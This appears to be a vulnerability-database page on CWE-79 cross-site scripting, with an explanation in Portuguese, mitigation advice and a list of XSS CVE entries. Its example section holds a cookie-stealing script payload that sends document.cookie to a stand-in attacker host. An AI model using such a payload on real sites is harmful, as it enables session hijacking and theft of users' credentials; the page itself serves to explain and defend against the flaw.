Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-47507MEDIUMWordPress Better Search plugin <= 4.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-24743MEDIUMInvoicePlane has a Stored Cross-Site Scripting (XSS) issueEPSS 0.3%CVE-2024-51108MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in the component /admin/card-bwdates-report.php of PHPGURUKUL Medical Card GeneraEPSS 0.3%CVE-2026-100161HIGHPhoto Reviews for WooCommerce <= 1.2.30 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'wcpr_image_upload_id' ParameterEPSS 0.3%CVE-2025-31695MEDIUMLink field display mode formatter - Moderately critical - Cross site scripting - SA-CONTRIB-2025-024EPSS 0.3%CVE-2026-30237LOWGroup-Office: Self XSS in GroupOffice Installer License Page (install/license.php)EPSS 0.3%CVE-2025-6221MEDIUMEmbed Bokun <= 0.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via align ParameterEPSS 0.3%CVE-2025-62722HIGHLinkAce: Stored XSS Vulnerability in Link Title Field Through Social Media Sharing FeatureEPSS 0.3%CVE-2026-24745MEDIUMInvoicePlane has a Stored Cross-Site Scripting (XSS) issueEPSS 0.3%CVE-2025-47557MEDIUMWordPress MapSVG plugin <= 8.5.31 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-63737MEDIUMCross-site scripting (XSS) vulnerability in function urltestAction in file cliAction.php in Xinhu Rainrock RockOA 2.7.0 allows remote attackEPSS 0.3%CVE-2024-35709MEDIUMWordPress The Plus Addons for Elementor plugin <= 5.5.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47502MEDIUMWordPress Mollie Forms plugin <= 2.7.12 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-31679MEDIUMIgnition Error Pages - Critical - Cross Site Scripting - SA-CONTRIB-2025-007EPSS 0.3%CVE-2025-47589MEDIUMWordPress Ebook Store plugin <= 5.8009 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-47495MEDIUMWordPress Blockspare plugin <= 3.2.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-48702MEDIUMPHPGurukul Old Age Home Management System v1.0 is vulnerable to HTML Injection via the searchdata parameter.EPSS 0.3%CVE-2025-9568MEDIUMSunnet｜eHRD CTMS - Reflected Cross-site ScriptingEPSS 0.3%CVE-2024-47385MEDIUMWordPress Essential Blocks plugin <= 4.8.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37955MEDIUMWordPress GutSlider – All in One Block Slider plugin <= 2.7.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%